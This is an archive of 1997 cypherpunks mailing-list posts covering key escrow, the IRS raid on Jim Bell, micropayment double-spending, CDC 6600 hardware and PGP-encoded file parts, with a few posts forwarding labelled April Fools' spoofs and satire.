PRINT O$
PRINT ""
O$ = s$
ELSE
O$ = O$ + s$
WHILE LEN(O$) > 79
N = 79
WHILE (N > 40) AND MID$(O$, N, 1) <> " "
N = N - 1
WEND
s$ = LEFT$(O$, N)
PRINT s$;
O$ = MID$(O$, N + 1)
WEND
END IF
RETURN


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 17:22:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Book Recommendation: "Supermen" (about Cray, Norris, CDC, etc.)
In-Reply-To: <v03007804af69d29e23d8@[207.167.93.63]>
Message-ID: <um2L5D45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> Next came the vaunted 6600, after almost not being funded to completion. It
> waws the first true supercomputer. Cray had moved his team up to Chippewa
  ^^^^???

I used to play with a 6600. It had some interesting hardware features:
* It used one's complement rather than two's complement to represent negative
integers. (I.e. -x is the same as not x; a pattern of all 1's is '-0'.)
* It had 60-bit words for both integers and single-precision reals.
A 120-bit double precision was pretty slow. A word could fit 10 6-bit
characters, but any kind of text processing was a bitch.
* 15-bit addresses referred to the whole word. A word could contain
several instructions, but only an instruction on a word boundary
could be a target of a branch.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Justin Burke <jburke@alt255.com>
Date: Thu, 3 Apr 1997 19:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: (fwd) Re: Interesting crypto news (fwd)
Message-ID: <Pine.LNX.3.95.970403194140.4054B-100000@tangent>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
From: seward@netcom.ca (John Savard)
Newsgroups: sci.crypt,alt.politics.org.nsa
Subject: Re: Interesting crypto news
Date: Thu, 03 Apr 1997 20:05:44 GMT

NEVADA (Reuter) --
Researchers today announced a breakthrough in quantum computing
which will greatly ease the creation of computing engines containing
quantum gates constructed from atomic traps.  Previously this was
thought to be an extremely difficult task, but thanks to some
astounding new breakthroughs by scientists at Lab 13, a previously
unknown research division at Nellis AFB in Nevada, the construction of
advanced quantum computers should now become routine.  "An initial
consignment of 3 acres of quantum computers has already been shipped
to a government agency, and we expect to begin shipping products to
other organisations within the next few years" said an Air Force
spokesperson.  

WASHINGTON (Reuter) --
In a surprise move, the Clinton administration today announced moves
to lift restrictions on the export of strong encryption technology.
For years the government has argued that it needs the ability to crack
strong encryption to thwart the Soviets, and then after they went
away, to catch criminals and terrorists.  The new move to allow the
free export of encryption has suprised the industry.  "We're
surprised" said a Microsoft spokesperson who asked to remain
anonymous.  Law enforcement officials were more forthcoming: "We are
now satisfied that we can handle any problems caused by the widespread
use of strong encryption" said FBI director Louis Freeh.

The articles were posted on March 31st...clearly a day too soon.
However, it's not to soon to think about designing ciphers that even
three acres of quantum computers would find it daunting to crack...

John Savard


--

Justin Burke <jburke@alt255.com>
To get my PGP key, send a message with the subject "get-pgp-key".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:41:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  1/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <334469A6.688E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:41:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  2/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <334469D3.1A7C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:42:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  3/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <33446A10.7A55@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:42:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  4/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <33446A34.74C@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


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QWDAqr7gjmGnZJa/6ynvFym7tWCM5wgDgkf5T//kmd0J/UO3Qp3ffJeI8LFwfR7D
Tuoxq3akU0xOL1Qk8u3GgorJPBOHZv/P+xI3d5y0UuK57TY4GpwuqBJk4hZpgwjU
=3sqv
-----END PGP MESSAGE, PART 04/05-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 18:42:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 25  5/5  /  5-part PgP/STEGO file / ww25--->ww25.bmp / password "ww25"
Message-ID: <33446A58.7290@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP MESSAGE, PART 05/05-----

LmgUyYD6pWCDsOEftIX4HWhkJcwPc+Hgj3gHizLgGesEinCVlLttW7QxK2P9YaED
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ZkfHiJVdRJ7/UnEgW0hlPA1zgyMuUU6cUgq5USsB8VNNPBxJBmuq0LP73tem4Wtc
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MiMxf/RxUjWj5Sqds7oKM2rpt1QAZw8YBxTb4soUZnFK7cLjkBs1eQl5+/mMZnUS
Y+4I4hz2xk9HxCkl8u1SmKa/8CPyY7xjhrzy7TK0WOwHxl7BhseE4wCtcFvHAAlR
1IpdjuUuWP2+wUPD5kt+mSh+Q1ptHJi3VrBE4Xde3ZkF/J/Bauf9enLpne+hUZ6Z
gY1byDkYvGbM1fLvN6jxIdJLYP6vmFEiOGddhpnKhlDPlIIrRLdQ0/tqhDmsC8t0
Kef6WBz10KMed4uLpdNSHSCX1XUXkpPQyI6cFM62ntTog/qz3AxEU/FXCZ5xVbtV
L1Uxrhao0G5xb0G7ErUeQtKseD+v7VrL7K/82Q==
=wo+k
-----END PGP MESSAGE, PART 05/05-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nolegz@juno.com (Lloyd E Briggs)
Date: Thu, 3 Apr 1997 18:12:57 -0800 (PST)
To: frantz@netcom.com
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970402000825.61388@bywater.songbird.com>
Message-ID: <19970403.211524.6614.0.NOLEGZ@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, after i read this, a quaestion popped into my head?  Would the
governmnet do the same with snail -mail?  But more importantly, does the
governm,ent have the right to even go through your private property? 


On Wed, 2 Apr 1997 20:36:52 -0800 Bill Frantz <frantz@netcom.com> writes:
>At 5:43 PM -0800 4/2/97, Timothy C. May wrote:
>>However, key recovery need have no "hooks" by government into it. The
>>attempt by the government to ensure secret access, without even so 
>much as
>>a search warrant, is revealing.
>
>This issue is to me key.  If the government wants any creditability on 
>the
>GAK issue, it will include in any GAK system, a provision for 
>independent
>auditing, after the fact, of intercepts.  (BTW - I will still oppose 
>GAK,
>but some of my best arguments will be taken away.)
>
>It seems to me that once you swollen the idea that government has, 
>under
>any circumstances, a right to read your mail, there are two issues.
>
>(1) Is the proscribed procedure fair?
>(2) Did the government follow the procedure?
>
>(My opposition to GAK is based on my belief that there are no star 
>chamber
>proceedings which are fair.  The ability to confront the witnesses 
>against
>you and compel witnesses to testify for you are key here.)
>
>However, auditing only addresses the second issue.  There are many 
>problems
>with auditing the government's use of its access.  One key one is, who 
>is
>the auditor?  At CFP97, I suggested that the press would make a good
>auditor.
>
>If the KRAP agency is truly at arms length from the government*, then 
>a
>report of the keys released compared with records that the procedures 
>were
>followed, would allow anyone, the press included, to check that the
>government followed the procedures.
>
>Now, I frequently think that the press is in bed with the government, 
>so I
>am looking for a better auditor.  Some institution which values its
>reputation more than it values its relationship with the government 
>would
>do.  Anyone have any good candidates?
>
>* Assuring this arms length relationship is an exercise for the 
>student.
>(I give it a Knuth grade of 50.)
>
>
>-------------------------------------------------------------------------
>Bill Frantz       | I have taken a real job at | Periwinkle -- 
>Consulting
>(408)356-8506     | Electric Communities as a  | 16345 Englewood Ave.
>frantz@netcom.com | capability security guru.  | Los Gatos, CA 95032, 
>USA
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 3 Apr 1997 20:19:30 -0800 (PST)
To: frissell@panix.com (Duncan Frissell)
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403221107.006e520c@panix.com>
Message-ID: <199704040410.WAA02207@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


To all lawyers out there: aren't there PUBLIC RECORDS that contain
teh search warrant with the probably cause explanation and other
material? It would be interesting to send a letter to some court
and ask for all public record stuff about jimbell.

just an idea

igor

Duncan Frissell wrote:
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:
> 
> >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> >haven't seen him write anything that I thought was criminal. 
> 
> The government persists in harassing or arresting people in these 1st
> Amendment cases even though they know they will not even be able to survive a
> motion to dismiss.  It seems to be recreational for them.  You can tell
> they're not serious because they didn't arrest Jim.   
> 
> JB has certainly managed to get noticed amongst all the "noise" out there in
> the world.  Very difficult to do.  And it's getting worse with the Nets.  How
> many death threats must whitehouse.gov get these days?  They probably lack
> the person power to investigate all of them.  
> 
> This will be another one where the raid gets publicity and the failure to
> prosecute is only noticed by a few.  When they drop him, he should trumpet it
> far and wide.  The dropping of the Jake Baker case got little publicity and I
> even had another lawyer on one of the law lists say that he thought they
> might try for another indictment.  I knew they'd never get anywhere.
> 
> In those very rare cases where you get a guaranteed government loss criminal
> investigation/prosecution the party involved should verbally abuse the
> government and point out their manifest pathetic weakness.  It is very rare
> to be in that situation because the government won't usually back a loser.  I
> urged Phil Z. to take an aggressive approach in his case but he felt
> uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
> authority of the government and was reluctant to bash it.
> 
> So, JB, find a Portland cybercafe and let 'em have it.
> 
> DCF
> 
> "Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
> For Thee."
> -----BEGIN PGP SIGNATURE-----
> Version: 4.5
> 
> iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
> i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
> 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
> tDeuUYPEOyg=
> =0Znu
> -----END PGP SIGNATURE-----
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 3 Apr 1997 20:03:24 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970403121619.007e3100@mail.io.com>
Message-ID: <3.0.1.32.19970403221107.006e520c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:

>It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
>haven't seen him write anything that I thought was criminal. 

The government persists in harassing or arresting people in these 1st
Amendment cases even though they know they will not even be able to survive a
motion to dismiss.  It seems to be recreational for them.  You can tell
they're not serious because they didn't arrest Jim.   

JB has certainly managed to get noticed amongst all the "noise" out there in
the world.  Very difficult to do.  And it's getting worse with the Nets.  How
many death threats must whitehouse.gov get these days?  They probably lack
the person power to investigate all of them.  

This will be another one where the raid gets publicity and the failure to
prosecute is only noticed by a few.  When they drop him, he should trumpet it
far and wide.  The dropping of the Jake Baker case got little publicity and I
even had another lawyer on one of the law lists say that he thought they
might try for another indictment.  I knew they'd never get anywhere.

In those very rare cases where you get a guaranteed government loss criminal
investigation/prosecution the party involved should verbally abuse the
government and point out their manifest pathetic weakness.  It is very rare
to be in that situation because the government won't usually back a loser.  I
urged Phil Z. to take an aggressive approach in his case but he felt
uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
authority of the government and was reluctant to bash it.

So, JB, find a Portland cybercafe and let 'em have it.

DCF

"Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
For Thee."
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
tDeuUYPEOyg=
=0Znu
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 3 Apr 1997 22:36:06 -0800 (PST)
To: die@die.com
Subject: Re: BIG BROTHER (qoute without comment)
In-Reply-To: <199704030636.BAA12147@pig.die.com>
Message-ID: <3.0.1.32.19970403223248.006787c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Dave Emery wrote:
>  told him that Motel 6 gives their guest list to the FBI every day.

I'd find this fairly surprising, though the Fedz can obviously
get it by subpoena or warrant if they feel like it.
However, notice that most hotels you stay in want to know
your name, address, company, etc.  Some of it's for marketing reasons
(so they can sell your name to advertisers), but I'd guess that
in many jurisdictions there are legal requirements to collect it.
Otherwise, all your basic motel needs to check is that the
cash or credit card you pay them in advance is good (if it's not,
they can evict you). (Modulo a few phone bills.)
Immediate clearing works fine, no need for book entry or names.

Of course, there are countries where they want to see your
Citizen-Unit ID Card, or else your passport, and if you're a
foreigner they'll keep your passport overnight to register it with
the police.  GAK...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 3 Apr 1997 19:38:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: IRS raids a cypherpunk
Message-ID: <v03007806af6a2703104f@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


[I've attached some excerpts from the article. Check
out the URL below for the whole thing. --Declan]

********

http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html

The Netly News Network
April 3, 1997

IRS raids a cypherpunk
by Declan McCullagh (declan@well.com)


     Jim Bell's first mistake was publishing an
essay describing how disgruntled citizens could
kill off Federal government agents by using
anonymous betting pools and digital cash. His
second mistake was informing the IRS that the
agency had no legal authority to tax him.

     About twenty armed IRS agents and other
Federal police swarmed into Bell's home in
Washington state on Tuesday morning, hunting for
evidence that Bell's "Assassination Politics"
essay had come to fruition. They expropriated
Bell's three computer systems, two guns and even
a solitary mouse cable. The Feds were taking no
chances: Since Bell's voluminous Net postings
mentioned tax collectors, agents from the BATF,
FBI, DEA, and local police forces joined the
raid.

[...]

     The raid stemmed from a six-month tussle
between Bell and the IRS, which began in November
1996 when the 38-year old computer engineer
demanded a hefty tax refund and threatened to
convene his own "common-law court" if it was
refused. That grabbed the Feds' attention. (So
did the actions of the "Multnomah County Common
Law Court," which apparently met in January to
convict IRS agents and Attorney General Janet
Reno of "theft by deception.") In February, IRS
agents seized Bell's 1986 Honda as payment for
back taxes -- and found inside it a printout of
his "Assassination Politics" essay. "

[...]

     And it was, ultimately, a Federal magistrate
who signed the search warrant on 9:02 am on March
28 at the request of the IRS. Jeffrey Gordon, an
inspector in the IRS' Internal Security Division,
details in an 10-page affidavit how he traced
Bell's use of allegedly fraudulent Social
Security Numbers, how he learned that Bell had
been arrested in 1989 for "manufacturing a
controlled substance," how he found out that Bell
possessed the home addresses of a handful of IRS
agents. Gordon's conclusion: Bell planned "to
overthrow the government." The IRS investigator
says in his affidavit that Bell's "essay details
an illegal scheme by Bell which involves plans to
assassinate IRS and other government officals...
I believe that Bell has begun taking steps to
carry out his Assassination Politics plan."

[...]


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 3 Apr 1997 21:04:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Assassination Politics on Website
Message-ID: <33448C3F.3DD9@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell's "Assassination Politics" is at:
http://www3.sk.sympatico.ca/carljohn/
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: daw@cs.berkeley.edu (David Wagner)
Date: Thu, 3 Apr 1997 23:31:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: No, it's PayWord, no, it's MicroMint, no, it's...
In-Reply-To: <199704040538.VAA01156@crypt.hfinney.com>
Message-ID: <5i2af3$vhq@joseph.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


In article <199704040538.VAA01156@crypt.hfinney.com>,
Hal Finney  <hal@rain.org> wrote:
> David Wagner, daw@cs.berkeley.edu, writes:
> > 	http://www.cs.berkeley.edu/~daw/my-posts/anon-micropayments
> 
> I wonder if there is a problem with the double spending detection.
> Somebody could spend at a store, then return some of the spent coins to
> the broker before the store has a chance to update the broker with the
> most recent spending report.  Maybe the broker could contact the store and
> let them know that the stack was redeemed now, and see how many had been
> spent.

In the non-anonymous case, shops can go offline and redeem sticks nightly;
this doesn't prevent double-spending, but allows detection, so that brokers
can blacklist double-spenders.

When you move to anonymity, you need a different approach; going online at
stick commitment time works (i.e. when the shop checks the digital signature
it simultaneously goes online to the bank).  This has some of the costs of
online schemes, but isn't terrible, because you only do it when the first
coin is paid, not when subsequent coins are.

If going online is a problem, you could imagine doing probabilistic
online checking.  The shop has a 10% chance (say) of going online and
checking immediately, and a 90% chance of batching for verification on
the half hour.  If the shop sees a bunch of fraud going on during some
batched verification, then the shop has to take that as a loss, but it
then knows to increase the chance of going online significantly.  You
can imagine auditing agencies (or the bank) publishing daily statistics
on fraud, and businesses adjusting their percentages to respond with
the trends.  Again, different shops will probably have different trade-offs
(based on performance demands, risk, whether they're using durable goods
or selling just bits, and such); this gives them flexibility in choosing
their risk profile.


You mention specifically the special double-spending problem of spending
once at a shop and once when asking for a redemption of a partially-spent
stick.  To help ameliorate this particular problem, some special-purpose
solutions are available: for instance, you could enforce a one-day waiting
period on trade-ins for partially-spent sticks.  For instance, the consumer
commits today, and if no shop has collected by tomorrow, he gets the cash
back; shops are instructed to verify nightly, or else they bear much more
risk.  Consumers don't need to trade back their sticks in real-time; they
can certainly be forced to wait a day or two at no real inconvenience.

> I had an idea for doing the double-spending problem in an offline way by
> using the same technique used for Chaum's offline coins.  The customer
> embeds his identity in the coins, blinded with a random number.  A cut
> and choose technique is used during withdrawal for him to prove that
> he has set up his coins correctly.  Then when he spends the first time
> at the shop, he responds to a random challenge revealing some of his
> blinded info.  This is done in such a way that if he spends at two shops,
> his identity is revealed by combining the info from the two different
> challenges.
> 
> Unfortunately then when he returns the unspent coins at the broker,
> and goes through the protocol there, that will reveal his identity since
> he is in effect double spending the stack.

I don't know; I know nothing about Chaum's offline coins.

Can you enforce a trade-in where the new stick the user gets has the
same identity information in it that the old stick had, and the bank can
verify this equality (cut-and-choose somehow??) without needing to know
the identity informatino itself?  I don't know.

> Another concern was for the method where a stack of 87 coins gets redeemed
> for a fresh stack of 87.  This has the slight problem that the size of
> the new stack would be correlated with the size of the one turned in.

Good point.  That didn't occur to me.  Thanks.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 3 Apr 1997 20:31:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: EVENT!  Rep. Rick White to hold live online town hall meeting 4/10!
Message-ID: <199704040431.XAA07521@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.3              http:/www.democracy.net/            April 3 1997
_________________________________________________________________________
Table of Contents

 - Join Internet Caucus Co-Founder Rick White (R-WA) Live Online April 10.
 - Background on Rep. White
 - Upcoming Events
 - About democracy.net
___________________________________________________________________________
JOIN INTERNET CAUCUS-CO FOUNDER REP. RICK WHITE (R-WA) LIVE ONLINE!

Representative Rick White (R-WA), co-founder of the Congressional Internet
Caucus and leader on Internet policy issues, will be the guest at
democracy.net's first live, interactive 'town hall meeting' on Thursday
April 10 at 8:30 pm ET (5:30 pm PST).

The town hall meeting, moderated by Wired Magazine's Todd Lappin, will be
completely virtual.  The discussion will be cybercast live via RealAudio,
and listeners can join a simultaneous interactive chat discussion and pose
questions to Rep. White.

This is a unique opportunity for Internet users to discuss current Internet
issues, including efforts to reform US Encryption policy, the future of the
Communications Decency Act, the activities of the Congressional Internet
Caucus, and others.

Details on the event, including instructions on how you can submit questions
in advance, are attached below.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

         * Interactive Town Hall Meeting with Rep. Rick White (R-WA) *

 DATE:      Thursday, April 10, 1997
 TIME:      5:30 pm PST / 8:30 pm EST
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. White a question.  We will collect the
questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. White a question!

   Please mark this date in your calendar: Thursday April 10, 5:30PM PST
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

_____________________________________________________________________________
BACKGROUND

Congressman Rick White, 43, is serving his second term representing the
people of the First Congressional District of Washington state, which
includes parts of Seattle, Redmond, and surrounding areas.

In 1995, White gained national attention through his work on the
Internet and high-technology issues. He was one of a handful of members
selected to develop the final Telecommunications Act of 1996.  As the
founder of the Congressional Internet Caucus, he has worked to educate
members of Congress about the Internet and to create a more open,
participatory government through the use of technology.

Additional Information can be found at the following locations:

* Rep. Rick White's Home Page   --   http://www.house.gov/white/
* democracy.net Page            --   http://www.democracy.net/

_______________________________________________________________________________
UPCOMING EVENTS

Representative Anna Eshoo (D-CA), Internet policy leader from Silicon
Valley, will be the guest at democracy.net's interactive 'town hall meeting'
on Wednesday April 16 at 8:30 pm ET (5:30 pm PST).

Visit http://www.democracy.net for more details.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/

_____________________________________________________________________________
End update no.3                                                    04/03/1997
=============================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 3 Apr 1997 21:36:39 -0800 (PST)
To: declan@well.com
Subject: Re: Jim Bell raid
In-Reply-To: <Pine.GSO.3.95.970404002508.11418A-100000@cp.pathfinder.com>
Message-ID: <199704040533.XAA03035@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Declan McCullagh wrote:
> 
> Yes, there are. I have a copy of the search warrant, IRS affidavit, and
> list of seized items. Beyond that, there's nothing else in the court
> record. And the U.S. Attorney isn't saying much.

This is cool. Could you post them? That woul;d be interesting.

igor


> -Declan
> 
> On Thu, 3 Apr 1997, Igor Chudov @ home wrote:
> 
> > To all lawyers out there: aren't there PUBLIC RECORDS that contain
> > teh search warrant with the probably cause explanation and other
> > material? It would be interesting to send a letter to some court
> > and ask for all public record stuff about jimbell.
> > 
> > just an idea
> > 
> > igor
> > 
> > Duncan Frissell wrote:
> > > 
> > > -----BEGIN PGP SIGNED MESSAGE-----
> > > 
> > > At 12:16 PM 4/3/97 -0800, Greg Broiles wrote:
> > > 
> > > >It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
> > > >haven't seen him write anything that I thought was criminal. 
> > > 
> > > The government persists in harassing or arresting people in these 1st
> > > Amendment cases even though they know they will not even be able to survive a
> > > motion to dismiss.  It seems to be recreational for them.  You can tell
> > > they're not serious because they didn't arrest Jim.   
> > > 
> > > JB has certainly managed to get noticed amongst all the "noise" out there in
> > > the world.  Very difficult to do.  And it's getting worse with the Nets.  How
> > > many death threats must whitehouse.gov get these days?  They probably lack
> > > the person power to investigate all of them.  
> > > 
> > > This will be another one where the raid gets publicity and the failure to
> > > prosecute is only noticed by a few.  When they drop him, he should trumpet it
> > > far and wide.  The dropping of the Jake Baker case got little publicity and I
> > > even had another lawyer on one of the law lists say that he thought they
> > > might try for another indictment.  I knew they'd never get anywhere.
> > > 
> > > In those very rare cases where you get a guaranteed government loss criminal
> > > investigation/prosecution the party involved should verbally abuse the
> > > government and point out their manifest pathetic weakness.  It is very rare
> > > to be in that situation because the government won't usually back a loser.  I
> > > urged Phil Z. to take an aggressive approach in his case but he felt
> > > uncomfortable about the idea.  Perhaps as a "leftie" he granted the inherent
> > > authority of the government and was reluctant to bash it.
> > > 
> > > So, JB, find a Portland cybercafe and let 'em have it.
> > > 
> > > DCF
> > > 
> > > "Obligatory John Donne quote:  Do Not Ask For Whom the Bell Tools.  It Tolls
> > > For Thee."
> > > -----BEGIN PGP SIGNATURE-----
> > > Version: 4.5
> > > 
> > > iQCVAgUBM0RxR4VO4r4sgSPhAQFEDQP/b8QTvGKipSK4sUDvKIIznESmPQRncGP9
> > > i2venrurNxIiHWorP+C+lpDdrXlC+lrcOfT6WLBFkV7UZTF5qduTqavtXYvCA+7W
> > > 1aF6CrE9dWUZNzjnpxMI2t3/Wpr/F7JF+nE1r2R3d6/pCtYZPw3gDeraS34hWXqp
> > > tDeuUYPEOyg=
> > > =0Znu
> > > -----END PGP SIGNATURE-----
> > > 
> > 
> > 
> > 
> > 	- Igor.
> > 
> > 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 3 Apr 1997 21:04:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <199704040235.SAA09336@netcom12.netcom.com>
Message-ID: <4iDm5D52w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Vladimir Z. Nuri" <vznuri@netcom.com> writes:
> I have argued with JB in the past over his ideas. while I think they
> are reprehensible, a govt raid is an extremely chilling result.
> I hope it doesn't have the effect of stifling the free flow of
> discourse here (actually nothing ever has) but it seems likely
> to have some effect.

Well - at least they're not "moderating" the list, like Cocksucker
John Gilmore did, and not lying blatantly about their moderation
policies, like Sandy Sandfort, the C2Net salesman, did.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Thu, 3 Apr 1997 23:50:20 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Meinel news article(hehe) (fwd)
Message-ID: <Pine.BSI.3.91.970403235142.9201F-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



---------- Forwarded message ----------
Date: Fri, 04 Apr 1997 02:42:48 EST
From: J R S <the_incubus@juno.com>
To: dc-stuff@dis.org
Subject: Meinel news article(hehe)

Routers-

     Redmond, Wa - It seems that after Microsoft squashes one bug,
another shows up.

	Today, in Happy Hacker Digest, the ueber-cracker Carolyn Meinel
found another one. It relies on the fact that NT does not use good,
strong encryption. Meinel, a NSA-approached hacker turned media glutton
relied on a her mathematical skills to find the weakness. 
	"I was once offered a job by the NSA. I read the book _Applied
Cryptography_. I know lots of good math jokes." In actuality, it was her
cousin who was offered the job at the NSA, as he could factor numbers in
his head. Carolyn's cousin does other things, such as carry on as her in
